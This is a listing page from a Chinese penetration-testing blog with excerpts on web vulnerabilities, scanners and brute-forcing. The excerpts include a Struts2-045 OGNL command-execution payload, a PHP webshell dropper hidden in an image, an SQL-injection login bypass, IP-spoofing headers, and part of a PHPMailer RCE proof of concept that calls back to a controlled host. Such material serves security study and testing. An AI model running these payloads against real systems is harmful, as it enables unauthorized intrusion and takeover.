筛选

URL跳转漏洞bypass小结

创建时间: 2017年12月9日 21:28 - 作者: LandGrey - 标签: 渗透测试, 网络安全, Web安全备忘录

下面是owasp对URL跳转漏洞,也叫开放重定向漏洞(open redirect)的一段描述:Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal ...

更多 →

巡风源码浅析之Nascan分析篇

创建时间: 2017年11月18日 19:39 - 作者: LandGrey - 标签: python, 网络安全

巡风是一款适用于企业内网的漏洞快速应急、巡航扫描系统,通过搜索功能可清晰的了解内部网络资产分布情况,并且可指定漏洞插件对搜索结果进行快速漏洞检测并输出结果报表。 开源地址: https://github.com/ysrc/xunfeng0x00: 起因 巡风算是国内开源扫描器中的一个良心产品了,研究下里面的扫描流程和代码逻辑对以后的工作想必大有裨益。 巡风的辅助验证脚本Aider 和我写的 dnstricker 的思路很相似,代码也不复杂,不做单独分析。巡风的项目一直在更新,所以可能在代码上会有些许出入。0x01: 分析准备巡风使用python语言开发,基于Flask Web框架和Mongodb数据库。我自己按照代码位置和代码逻辑,将巡风的架构大致分为三个部分,分别是Nascan、Vulscan和Flask web实现。分析篇也大概按照这三个部分介绍。首先是先搭建起巡风,正常扫描一次,然后进入数据库,了解数据库结构。Mongodb数据库的一个特点就是键值对表示。文档(document)组成集合(collection),集合(collection)再组成数据库(db),有时在文档和集合间可能还会有子集合。粗略的表示就是document -> sub collection -> collection -> db进入数据库查看,了解大体的集合情况:> show dbs admin 0.000GB local 0.000GB xunfeng 0.001GB > use xunfeng switched to db xunfeng > show collections Config # 各种配置信息 Heartbeat # 记录程序最新心跳时间 History # 删除历史目标的记录信息 Info # 存储目标ip,名字,banner,开放端口和服务类型等信息 Plugin ...

更多 →

pydictor爆破字典生成指南

创建时间: 2017年11月21日 00:17 - 作者: LandGrey - 标签: 分享, 渗透测试, python

0x00:简介 pydictor是一个使用python语言开发,遵循GPLv3协议的开源命令行工具,主要用来帮助安全研究人员生成称心如意的暴力破解字典。 以功能强大、简洁实用、适用场景多、自定义程度强为开发目标。 开源地址:pydictor 0x01:特点与功能今天主要是讲pydictor如何结合渗透测试过程常见的场景使用,特点与功能REAME有详细讲解,下面只梳理一下大概脉络,方便下文的理解。 特点:1. 完全使用python的原生库写成,不需要额外安装其它任何的python模块; 2. 同时支持python 2.7+ 和python 3.4+版本,可在Windows、Linux和Mac平台上运行; 3. 可自定义化程度高,留出很多可配置规则的文件; 4. 爆破必备,新老皆宜. 功能:1. 基于三大字符集(d:数字 L:小写字母 c:大写字母)的基础字典; 2. 基于自定义字符集(包括特殊字符)的字典; 3. 排列组合字典(几个字符或字符串的所有排列可能); 4. 用配置文件或者符合pydictor字典语法的字符串直接生成字典; 5. 析取网页中可能有意义的原始单词字典; 6. 基于关键词生成针对性密码字典; 7. 基于性别生成中国公民身份证后4/6/8位字典; 8. 生成一段时间内的生日字典(自定义位数); 9. 用pydictor的handler功能润色下自己的字典; 10.基于个人信息和规则生成社会工程学字典(呃,蹭下知名度,本质还是基于关键词,重在密码规则模式) 11.一系列和字典的整个生命周期有关的内置工具; 包括字典合并、合并后去重、字典去重、单词频率统计、安全擦除字典; 12.一系列和生成优化字典有关的选项; 包括自定长度范围、字典加前缀、加后缀、编码或加密字典、用1337模式、控制字典所用规则的程度、根据数字、字符和特殊字符的个数或种类的多少来筛选字典、用正则表达式来筛选字典等。0x02:使用场景早期开发是为了让功能匹配使用场合,后期开发是让具体场景拥有对应的功能。01:字典合并 字典都不是凭空捏造或生成的,一般都会参考前辈们公布的字典。所以,先收集百八十个字典,放到一个目录下,把字典合并起来吧。1. 合并目录/网站路径爆破字典 2. 合并子域名字典 3. 合并用户名字典 4. 合并弱密码字典 5. ...

更多 →

打造自己专属的PentestBox

创建时间: 2017年6月7日 11:25 - 作者: LandGrey - 标签: 渗透测试

ws 0x00: 准备一. 预备知识请先大致浏览下以下内容: 官网 Windows渗透利器之Pentest BOX使用详解(一) Windows渗透利器之Pentest BOX使用详解(二) 二. 原料1. PentestBox (官网下载) 2. U盘 (Kingston DTR30G2 32GB) 安装在U盘中,是为了最大化发挥PentestBox易携带的优点,即插即用,去依赖化; 推荐购买32G大小,支持USB 3.0的优质U盘,因为读写比较频繁,质量差的U盘不能胜任; 另外选中 Kingston DTR30G2 32GB 的原因,主要是橡胶套,一定程度上防水、防尘、抗震,安全的特点。 3. 移动硬盘或备份U盘(可选) 主要是用作安全备份,定制中途错误恢复; 最低要求拷贝完整的一份PentestBox到主机硬盘中; 三. 定制思路由表及里: 定制图标和界面定制toolsmanager定制python环境定制默认工具定制自定义命令定制默认命令定制exploit-database其他 0x01: 定制过程注:可先跳至 0x02: 需要注意的坑 部分查看,防止踩坑。一. 定制图标和界面 在U盘根目录下创建目录 pentestbox,将下载的 PentestBox-with-Metasploit-v2.2.exe 直接解压至pentestbox 目录; 接着在U盘根目录下autorun.info 文件,ico.ico文件,hack.bat文件,各个文件内容如下: autorun.info (自动加载U盘图标) [autorun]open="" autoplay=trueICON="ico.ico" ...

更多 →

强制通过VPN上网脚本

创建时间: 2017年10月9日 15:19 - 作者: LandGrey - 标签: 渗透测试

受文章 https://www.t00ls.net/thread-38739-1-2.html 启发: 需要分三步对 Windows 防火墙进行设置: 1. 默认阻止所有出口流量 2. 在本地连接上设置允许通向VPN服务器的出口流量 3. 允许所有流量通过vpn链接出去 VPN如果不稳定断掉,整个网络就会断掉,防止自己真实IP的流量外漏; 防火墙策略比一般开个脚本,循环检测自己是否用的是VPN上网更稳定保险; 原文是手动操作Windows防火墙,步骤挺繁琐的,研究下,写了个bat脚本。 脚本界面输入"yes"或"y",开启脚本策略,然后设置自己的VPN 外网地址或者IP范围,强制使用VPN上网 输入"no"或"n",关闭策略,恢复正常 VPN断掉后联网 这里 下载, 源码如下:@echo off Rem Build By LandGrey title Vpn Traffic Switcher ::get administrator privilege >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" if '%errorlevel%' NEQ '0' (goto UACPrompt) else ( goto gotAdmin ) :UACPrompt ...

更多 →

struts2-045漏洞Debug与POC分析

创建时间: 2018年8月19日 14:39 - 作者: LandGrey - 标签: 网络安全, Web安全备忘录, 代码审计

0x00:环境准备 通过 Apache Struts2 Release 页面可知:受struts2-045(CVE-2017-5638)漏洞影响的最新struts版本为 Struts 2.5.10, 在官方 archive 页面下载Struts 2.5.10 showcase(app)版本,用Tomcat 7本地部署应用进行debug。 0x01:调试准备 补丁移除了 apache/struts2/interceptor/FileUploadInterceptor.java 文件中 LocalizedTextUtil.findText() 函数对错误信息的处理部分: 漏洞信息: 1.漏洞发生在 Jakarta 上传解析器 2.受影响struts版本是Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10 3.通过Content-Type这个header头,进而执行命令,通过 Strus2 对错误消息的处理进行回显 POC (Windows 弹计算器): ${(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='calc').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; 0x02:正式调试 根据上面的信息,用IDEA 在 struts2-core-2.5.10.jar!/org/apache/struts2/dispatcher/Dispatcher.class 第584行下第一个断点: 然后如下图所示,用Burpsuite在 HTTP Content-Type ...

更多 →

关于文件名解析的一些探索

创建时间: 2017年8月24日 01:23 - 作者: LandGrey - 标签: 渗透测试, Web安全备忘录

一:IIS 服务器01:IIS <=6.0 解析漏洞起因是解析标准不一致,即Web应用程序与IIS服务器对同一个文件的文件名称(类型)理解不一致造成。 利用方法有两种: 1. 畸形目录解析/xxxx.asp/xxx.jpg2. 分号文件解析test.asp;.jpg 第1种是因为xxx.jpg图片文件在某个以.asp结尾的目录下面,而被IIS当成可执行文件来解析 第2种虽然以.jpg结尾,但IIS 解析时忽略了分号";"后面的部分,当成了test.asp文件来解析 默认的可执行文件后缀还有三个".asa"、".cer"、".cdx",不知道有没有隐藏的,如果手头有IIS环境的话, 可以生成所有一个到四个英文字符的后缀文件,去Fuzzing可执行文件名后缀 02:IIS 7.0&7.5畸形解析漏洞默认fast-cgi开启状况下,在一个文件路径后面加上/xx.php会将原来的文件解析为php文件 将shell语句,如 <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> 写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg后 copy xx.jpg/b + xx.txt/a test.jpg 上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php 二:nginx01:畸形解析漏洞默认fast-cgi开启状况下,在一个文件路径后面加上/xx.php会将原来的文件解析为php文件 将shell语句,如 <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> 写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg后 copy xx.jpg/b + xx.txt/a test.jpg 上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php 02:空字节代码执行漏洞在fast-cgi关闭的情况下,nginx版本:0.5.*, 0.6.*, 0.7- 0.7.65, 0.8 -0.8.37,nginx在图片后附加php代码然后通过访问 xx.jpg%00.php 来执行其中的代码 03:文件名逻辑漏洞(CVE-2013-4547)受影响的nginx版本: 0.8.41至1.4.3和1.5.7之前的1.5.x ...

更多 →

多维度指纹规则识别CMS

创建时间: 2017年5月30日 17:13 - 作者: LandGrey - 标签: 渗透测试

0x00: 前言CMS(Content Management System)类型的识别是老生长谈的问题,这篇文章就当抛砖引玉了~识别CMS类型的主要方式: 1. 根据网页内容含有的特殊表征 2. 根据网站路径的确定静态资源 3. 根据网站的HTTP响应头 4. 根据网站目录结构的整体特征用的最多的,就是第一种和第二种探测方式;第三种通用性较差,不太常用;第四种几乎没见到过具体实现,因为不实用,耗时长,而且容易被waf屏蔽。0x01: 识别方式简介1. 根据网页内容含有的特殊表征网站主页内容含有的一些特殊字符串,如Powered by xxxcms; 引用css特殊的标志,如 Metinfo 主页常含有class="met-navfixed" 、class="met_clear" 等CSS引用标志; 主页内容含有的特殊的正则表达式,如 PHPcms 主页常有类似于正则 /index\.php\?m=content&c;=index&a;=lists&catid;= 的字符串; 2. 根据网站路径的确定静态资源robots.txt 中含有的cms名称等特殊字符串; favicon.ico 图标的hash值; 某个特殊路径的图片、css文件、REAME文件、license文件、甚至文档等资源的hash值或特殊字符串;3. 根据网站的HTTP头某个路径的图片、css等文件存在的status code: 200 响应; ThinkPHP 常爆出带'哭脸'的"无法加载控制器"等错误响应; 另外,还可以通过网站HTTP headers、Cookies等字段含有的特殊值来判断,不过不常用,也没必要;4. 根据网站目录结构的整体特征需要爬取网站,基本不会单独实现此功能0x02: 程序构想单个目标,基于多维度规则,设定并判断权重,多线程运行, 网站响应内容复用,得分判断CMS类型。 为了方便加载和统一设置规则,选择使用正则表达式解析规则文本。一种CMS规则存取到一个文本文件中,例如一个检测discuz!7.x版本的规则如下: type: [discuz!7.x]help: []content: ['content="Discuz! 7\."', 'content="2001-2009 ...

更多 →

寻找网站后台路径的N种姿势

创建时间: 2017年7月27日 23:16 - 作者: LandGrey - 标签: 渗透测试, Web安全备忘录

下列方法无刻意排列顺序,仅为备忘记录。 一:间接接触0x01: search1. 直接搜索目标可能存在的相关后台路径 site:target.com intitle:"后台|登录|登陆|验证码|管理员|服务系统|系统登录|认证码|验证身份|管理系统|管理后台|管理平台|mgmt|sysadmin|admin|password|login|manage" 2. 尝试搜索一些文档型资料路径,判断是否包含后台路径 site:target.com filetype:"doc | docx | pdf | xls | xlsx | ppt | pptx" 3. 在目标链接较少的情况下,可以浏览网站所有路径,顺便观察组成特点,构造出后台路径 site:target.com二:直接接触0x02: view the site1. 查看robots.txt文件,查看是否存在网站后台路径 2. 使用传统路径爆破方式,猜测可能存在的后台路径 3. 识别网站是否是常见CMS或框架,使用对应的默认路径尝试 4. 直接浏览目标网站,注意网站界面的左手方和底部,查看是否有后台直达链接 5. 注意观察Cookies等HTTP头信息,寻找特殊Banner,搜索相关应用框架信息,确定后台路径 6. 寻找网站页面源码中的特殊Banner,去google搜索或Github等平台查找源码信息,确定后台路径 7. 尝试手工或自动fuzzing网站,致使其报错,查看是否有相关路径信息,进而猜测后台路径信息 8. 查看网站页面源码,注意链接路径(特别是上传的图片、文件等资源链接),验证是否包含后台路径 9. 利用网站的特殊文件(通常需要扫描),如整站源码压缩备份文件、phpinfo页面、默认探针文件、README、Lisense文件、部署文档等,收集可能的网站后台路径信息 10. 网站爬虫(通常使用爬虫工具,如AWVS、Netsparker、Burpsuite),爬取网站链接,分析提取后台路径信息0x03: open mind1. 端口扫描,判断后台是否部署在同一主机的其它端口 ...

更多 →

InfluxDB API 未授权访问漏洞简单利用

创建时间: 2018年12月8日 15:24 - 作者: LandGrey - 标签: 渗透测试

0x00: 简介 InfluxDB 是一个使用Go语言编写的开源分布式,支持高并发的时序数据库。在 InfluxDB 中,每条数据都可以粗略看成是虚拟 key=value 的形式,如语句INSERT cpu,host=serverA,region=us_west value=0.64表示往数据库中插入一条指标名为 cup, 标签集 host为 serverA, region 为 us_west 的, 值是 0.64 的数据。具体的数据概念和含义可以参考 InfluxDB 官方文档。InfluxDB 提供三种操作方式:CLIHTTP (包括API 接口和Web 管理界面)各语言的API库但实际上以上操作方式其实都是在调用 InfluxDB 实现的 API 接口,API 接口的两个常用操作是 query(查询数据)和 write(更改数据)。0x01: 产生原因InfluxDB 的Web 操作界面默认运行在 localhost 8083 端口; HTTP API 接口默认运行在 localhost 8086 端口如果直接将只能本机访问到的 localhost 改为内网或者公网IP,没有配置访问控制的口令,便可能会产生未授权访问漏洞。0x02: 漏洞发现扫描默认的 8083 ...

更多 →

巡风源码浅析之VulScan分析篇

创建时间: 2017年12月8日 16:17 - 作者: LandGrey - 标签: python, 网络安全

巡风是一款适用于企业内网的漏洞快速应急、巡航扫描系统,通过搜索功能可清晰的了解内部网络资产分布情况,并且可指定漏洞插件对搜索结果进行快速漏洞检测并输出结果报表。 开源地址: https://github.com/ysrc/xunfeng0x00: VulScan介绍查看介绍前,请先查看 巡风源码浅析之Nascan分析篇 的“0x01:分析准备”。VulScan部分的目录结构可抽象为:│ VulScan.py │ └─vuldb │ ***.py │ ***.json │ ├─nmb │ ***** ├─pyasn1 │ ***** └─smb └ *****其中主要的逻辑都在VulScan.py中,其它放置了几个外部模块nmb、pyasn1和smb;扫描插件有两种,放置在vuldb文件夹下,一是python脚本型插件,一是json文件型插件;本文主要分析VulScan.py文件并选取一个python脚本型插件、一个json文件型插件做简要说明,和Nascan相比,这部分代码少很多,逻辑也不复杂,所以会啰嗦一点,可能更适合新手学习。0x01: VulScan分析脚本开头执行了下面几行代码sys.path.append(sys.path[0] + '/vuldb')sys.path.append(sys.path[0] + "/../")from Config import ProductionConfig主要是将vuldb目录和上级目录加入系统路径中,可以直接 from Config import ProductionConfig 和导入python脚本型插件。然后进行了数据库连接和一些变量初始化工作。看一下程序入口:if __name__ == '__main__': # 插件初始化加载 init() # 将密码字典、运行线程数、超时时间、ip地址白名单从数据库中取出 PASSWORD_DIC, THREAD_COUNT, TIMEOUT, WHITE_LIST = get_config() ...

更多 →

关于PHP/JSP/ASP的一些Webshell检测绕过研究

创建时间: 2018年5月27日 17:41 - 作者: LandGrey - 标签: 渗透测试

不再单独搬砖了,请去下列地址去查看:Github文章和Webshell合集 :webshell-detect-bypass先知社区:php一句话木马检测绕过研究利用Java反射和类加载机制绕过JSP后门检测构造免杀的asp一句话木马

更多 →

WordPress用户名枚举的几种方法

创建时间: 2017年6月29日 13:27 - 作者: LandGrey - 标签: 渗透测试

一. WordPress 用户名枚举漏洞CVE-2017-5487 WordPress < 4.7.1 - Username EnumerationWordPress 版本小于 4.7.1,配置了 REST API,访问下面的路径,就会返回包含用户名信息的json数据。获得的用户名是最全的,速度也最快,但是实测发现不少站点都不适用,批量效果不必太期待。/wp-json/wp/v2/users/demo :#!/usr/bin/env python# coding:utf-8 import requestsdef poc(target): username = [] try: req = requests.get('%s/wp-json/wp/v2/users/' % target) content = req.json() for v in content: username.append(str(v['link']).split('/')[-1]) except: pass return username 二. WordPress 文章存档枚举用户名访问下面的路径,如果存在对应用户id,则显示的页面中会包含用户。现在大部分工具在枚举用户名时采用此方法,比较稳定,遍历id足够多,可获得较全的用户名,但有一部分站点故意屏蔽了此方法枚举用户名。/?author=id因为版本和语言等差异,没有统一的正则匹配方法,所以demo中的正则表达式不是适用于所有情况的。demo:#!/usr/bin/env python# coding:utf-8import reimport requestsdef poc(target): username = ...

更多 →

二次开发版dnslog平台 - logeyes

创建时间: 2017年11月6日 11:22 - 作者: LandGrey - 标签: 渗透测试, python, django

logeyes 低配版dnslog平台, 根据 https://github.com/BugScanTeam/DNSLog 修改而来; 增加了Dns记录来源地址、Web记录来源地址的端口、请求方法、Cookie、Referer、X-Forwarded-For; 满足了基础的 dnslog 功能需求源码及详细文档地址: https://github.com/LandGrey/dnstricker

更多 →

命令执行与代码执行的判断

创建时间: 2017年5月18日 13:28 - 作者: LandGrey - 标签: 网络安全, 思考

一. 判别理念 参考OWASP的 代码注入和命令注入,其中的相关解释: Code Injection differs from Command Injection in that an attacker is only limited by the functionality of the injected language itself. 可以用下面一句话判断是代码执行还是命令执行 执行效果是否受制于语言本身与其安全机制 代码执行: 1. 执行的效果完全受限于语言本身 只能执行当前语言的相关语法,不能达到执行系统命令的程度 2. 执行的效果不完全受限于语言本身 可执行当前语言的相关语法,可达到执行系统命令的程度,但可能受制于语言安全特性本身,得不到正常执行 命令执行: 1. 执行的效果不受限于语言语法本身,不受命令本身限制 不能执行当前语言的相关语法,仅能达到间接执行系统命令; 可执行当前代码语言的相关语法,可达到间接执行系统命令的程度,不会受制于语言安全特性本身。 二. 实例 1. Python反序列化漏洞 Python Pickle反序列化带来的安全问题有如下一段关于python pickle反序列化操作的示例代码: import osimport pickleclass A(object): ...

更多 →

Java代码审计-铁人下载系统

创建时间: 2018年3月11日 13:11 - 作者: LandGrey - 标签: 分享, 代码审计

0x00: 简介初学java代码审计,跟着表哥们脚步,走一遍审计流程,就选了个没有使用Java框架的java系统,作为入门。 0x01: 目的熟悉代码审计流程,寻找漏洞的思路,入门记录。 0x02: 准备工作为了验证审计出的漏洞效果,还是要搭建起来系统,不然空说无凭。为了方便,使用JspStudy 2016一体化环境,选择tomcat 8.0,jdk 1.8搭建。查看代码使用IDEA,当然,也可以用jd-gui,反编译class,不过IDEA自动就反编译了,比较方便。 值得注意的是,使用系统自带的安装功能搭建后,打开页面报错,事后想起来可能是自动导入sql文件的路径程序中写死了,和自己部署时根目录位置不一样导致的。 再次通过install/index.html页面重新安装,则显示数据库已经安装。原因是WEB-INF/classes/liuxing_db.properties中的db_an=yes变成了db_an=no,表示数据库已经安装,不会再次安装。 最后发现使用安装提示里的第二种手工安装方法可以正常安装系统,人工导入数据库数据就行了。 为了审计代码时全局搜索方便,可以使用jad批量反编译class文件,使用命令如: jad -r -d /path/to/store/java -s java -8 /path/to/classes/files/**/*.class 最后,我将反编译出来的java文件,统一存放在了WEB-INF/java目录下,和class文件的原始目录WEB-INF/classes目录相对应。 0x03:发现漏洞非框架的代码审计,按照前台——后台,严重——低危,非交互——需交互,跟随代码流程尽量发现高危和易利用漏洞类型为主。 一:重安装漏洞像在0x02中说的一样,虽然我使用系统自带的安装功能失败了,但是db_an参数变成了no,虽然/install目录的重新安装页面没删除,但确实使用系统自带的安装功能不存在重新安装漏洞。 跟随/install/index.html页面,找到install.jsp文件,再根据form action,找到install_setup.jsp页面 再根据install_setup.jsp页面上的import语句 import="liuxing.util.Install,java.util.*" 找到安装的主要逻辑源码,在WEB-INF/java/liuxing/util/Install.java中,安装时会判断db_an的值,yes可以安装,no不安装;安装完后会把值置为no,虽然install页面没删除,但是已经不能够再次安装了。 所以,当使用系统自带的install页面安装系统时,不存在重安装漏洞;如果使用手工导入sql文件安装系统,自己又没有把db_an的值写成no,没删除install目录文件时,存在重安装漏洞。 二. SQL注入漏洞首先尝试搜索功能,进入so.jsp,发现将搜索的参数值传入Ruanjianguanli的so方法中 进入WEB-INF/java/liuxing/guanli/Ruanjianguanli.java文件中,找到so方法;发现是调用了ruanjianDao.so()函数, ruanjianDao是什么呢?在Ruanjianguanli类的构造函数里,可以找到,ruanjianDao是RuanjianMySQL的一个实例,那么再接着往下跟 然后打开WEB-INF/java/liuxing/dao/RuanjianMySQL.java文件,搜索so方法,并发现最终是采用预编译来执行数据库操作,这里不存在SQL注入漏洞。 public pageModel so(int pageNo, int pageSize, String tiaojian, int lei, String name) 可想而知,有一处用了预编译,说明就有很多处用了预编译方式来执行SQL语句,基本都没有SQL注入漏洞。然后全局搜索createStatement关键字,看看有没有用拼接的SQL语句的。 如上图,最后也发现几个可以注入的地方,但是都需要登录后台,在delete语句中,可以用时间盲注,比如: delete ...

更多 →

再谈CSRF漏洞防御

创建时间: 2018年6月19日 19:50 - 作者: LandGrey - 标签: 渗透测试, Web安全备忘录

漏洞简述用户认证成功后访问或点击了黑客控制的网站链接,浏览器根据黑客网页代码指示,使用用户的身份凭证(Cookie)自动请求服务器,冒充用户身份完成恶意操作。 根本原因HTTP协议是无状态的协议,所以引入了Cookie机制来辨识和跟踪用户,但Cookie最初被设计成允许在第三方网站发起的请求中携带,从而成为CSRF漏洞滋生的土壤。 利用流程测试思路下面的英文描述更清楚简洁一点 Perform the request without modifying the parameters, see what the result is Remove the CSRF token completely Modify one of the characters in the token (keep the length same) Remove the value of the token (leave the parameter in place) POST request cnvert to a GET request ...

更多 →

突破封闭Web系统的技巧之正面冲锋

创建时间: 2017年12月24日 17:45 - 作者: LandGrey - 标签: 渗透测试, 思考, Web安全备忘录

首发于:信安之路公众号前言:在互联网安全服务公司乙方工作的人或者进行SRC众测等相关渗透测试时,经常碰到客户只给一个"xxx信息管理系统"、"xxx平台"之类的一个Web登录界面的系统的链接地址,其它全凭自己造化,去找漏洞吧!我将上面讲的"需要认证后才能进入系统进行操作,但是当前没有认证凭证"的web系统"统一称为"封闭的Web系统",本文认为阅读人员有一定的渗透测试经验,并将就如何突破封闭的Web系统,进行探讨。分享自己的思路与常用技巧,欢迎同道中人一起交流思路。 注:本文有一定的攻击性操作,仅为安全从业人员渗透测试思路交流,请在法律条规允许的范围内进行安全测试。一:文章脉络《突破封闭Web系统的技巧》由两篇文章组成。这是第一篇文章"正面冲锋"。下面是本文的脉络: 正面冲锋 0x00: 登录绕过 0x01: 密码猜解 0x02: 管理员猜解 0x03: 普通用户猜解 0x04: 突破加密传输的口令 0x05: 突破登录IP限制 0x06: 图形验证码绕过 0x07: 短信验证码绕过 0x08: 双因子验证绕过二:正面冲锋遇到需要登录才能进一步测试的系统,又没登录口令?没关系,我们有不少正面冲锋的小技巧,相信你看完一定有所收获。0x00:登录绕过如果能绕过系统认证,直接登录,那就万事大吉了!登录绕过的方法主要有:1. SQL注入万能登录密码 a' or '1'='1' -- 2. XSS获取到已登录系统的用户Cookie,替换后可进入系统 3. 通过列目录漏洞或目录文件扫描,发现存在未授权访问的管理页面,可以直接访问进行操作 4. 通过抓包,更改用户id、登录名或Cookie中的敏感认证字段值,即可越权访问 5. 通过已知的后门链接或代码中固化的后门管理口令,直接登录 0x01:密码猜解大部分系统登录是绕不过的,最常用的还是猜解已知用户名的密码,用合法的凭证登录系统。Web系统进行密码猜解,大部分人喜欢叫密码爆破,因为猜解一个人的密码,通常需要成千上万的密码来试。密码猜解的目的是准确、高效的获得已知用户的正确密码。1. 用来发送HTTP/S协议爆破密码的工具主要是用Burpsuite。其它的就是用一些脚本,自己造轮子或用已经写好的较为通用的脚本,如 htpwdScan 。2. 高效的保证就是猜解时使用的密码字典要适合,一般是先尝试TOP500、TOP1000、TOP10000系列的通用弱口令字典。3. 还没有成功的话,就需要自己根据目标的信息构造特定字典来爆破了。可以自己写脚本生成,但是费时费力,对于比较急的任务往往不适用。推荐下自己写的一个高级字典生成工具pydictor 可以直接配置里面的规则生成字典,也支持高级玩家写自己的密码生成插件,一劳永逸。其它的一些好的字典生成工具推荐 crunch、Cewl、Cupp。0x02:管理员猜解在不能判断系统中存在什么样的用户名时,通常先进行管理员用户名的猜解,然后再根据存在的用户名进行密码破解。我总结了一个常见系统管理和测试用户名字典AwesomeSystemTestUsername,可以做为管理员用户名的猜解使用。如果一个系统对存不存某用户名无任何有用提示,可以直接使用上面的字典,加上弱口令TOP1000,同时爆破用户名和密码,常有意外收获!0x03:普通用户猜解如果封闭系统是个多(几十或几百个)业务员系统,那么此时最好用一个普通用户名字典进行猜解。常见的有姓名拼音字典TOP500、TOP10w等。同样,如果一个系统对存不存在某用户无任何有用提示,要猜解的用户名又非常多,可以选几个弱口令如"123456","abc123","1234","1111","111111",同时爆破用户名和密码。0x04:突破加密传输的口令有些业务系统的口令传输到后端前,为了安全和老板的要求,通常是由前端js进行编码或加密后再传输的。常见的Web系统编码和加密方式有base64编码、md5加密、sha1加密、DES加密、AES加密、RSA加密。这时候,有三种爆破方法。一:用爆破工具在传输前按照标准方法加密好再传输,Burpsuite的Payload Processing可以很好的工作。二:用工具提前生成好加密好的字典,然后爆破工具直接加载字典即可。在生成加密字典方面,pydictor是不二之选。encode功能内置支持多种加密方法,并且支持自定义加密方法,直接调用js文件中的加密方法进行加密等。另外,还可以用内置工具handler,加密自己现有的字典,让字典适用本次爆破场景。当然,也可以写轮子直接调用可以解析js语法的组件并执行,例如python的execjs模块、pyv8模块等,原理和pydictor调用js文件中的加密方法相同。三:对于某些动态加密或难以还原加密算法的场合,可以用selenium+webdriver模拟浏览器操作,自动填写密码提交。具体可参考文章基于SELEINUM的口令爆破应用。0x05:突破登录IP地址限制如果对方系统设置了可以登录系统的IP地址白名单,可以尝试用下面的9个HTTP头字段,伪造下IP地址碰碰运气。运气学?天机不可泄漏。Client-Ip: 127.0.0.1 X-Client-IP: 127.0.0.1 X-Real-IP: 127.0.0.1 True-Client-IP: 127.0.0.1 ...

更多 →

WordPress PHPMailer RCE 批量检测poc

创建时间: 2017年7月2日 16:34 - 作者: LandGrey - 标签: 渗透测试, python, 网络安全

0x00. 漏洞详情WordPress PHPMailer RCE 准确的说法应该是 CVE-2016-10033:WordPress PHPMailer 4.6 - Host Header Command Injection参考: WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033漏洞复现与poc编写:vulhub/wordpress/phpmailer-rce0x01. 批量检测需要解决的关键点:1. 获得一个存在的用户名参考: WordPress用户名枚举的几种方法2. 批量检测的方法利用漏洞在目标主机上执行命令,带独立标志(域名或IP)请求某个我们控制的主机,查看控制主机记录,确定存在漏洞的主机;利用批量漏洞检测框架,并发批量测试。测试情况如图:三. POC将下面poc中的地址http://yoururl.ceye.io替换为自己控制的。#!/usr/bin/env python# coding:utf-8import reimport randomimport requestsdef generate_command(command): command = '${run{%s}}' % command command = command.replace('/', '${substr{0}{1}{$spool_directory}}') command = command.replace(':', '${substr{13}{1}{$tod_log}}') command = command.replace(' ', '${substr{10}{1}{$tod_log}}') return 'target(any -froot@localhost -be %s null)' % ...

更多 →

XMLBeam-XXE(CVE-2018-1259)漏洞简析

创建时间: 2018年8月21日 01:50 - 作者: LandGrey - 标签: 分享, 网络安全, 代码审计

0x00: 漏洞信息 根据 CVE-2018-1259 的信息可知, Spring Data Commons 版本在 1.13—1.13.11 和 2.0—2.0.6 ,Spring Data REST 版本在 2.6-2.6.11 和 3.0-3.0.6,因为使用了小于等于 1.4.14 版本的 XMLBeam 导致存在XML实体注入漏洞。 0x01: 环境搭建 由于 XXE 漏洞实际是存在于 XMLBeam 中,所以我们写一个简单的调用 XMLBeam 的代码,用来触发漏洞,版本就选择可以触发漏洞的最新版 XMLBeam ,所以首先下载 1.4.14版本 XMLBeam 备用。 然后使用 IDEA 创建一个 名为 demo 的 Spring Boot 应用,主要是添加一个 "/login" RequestMapping URL映射路径,模拟使用XML数据认证进行登录。 主要代码文件 ...

更多 →
<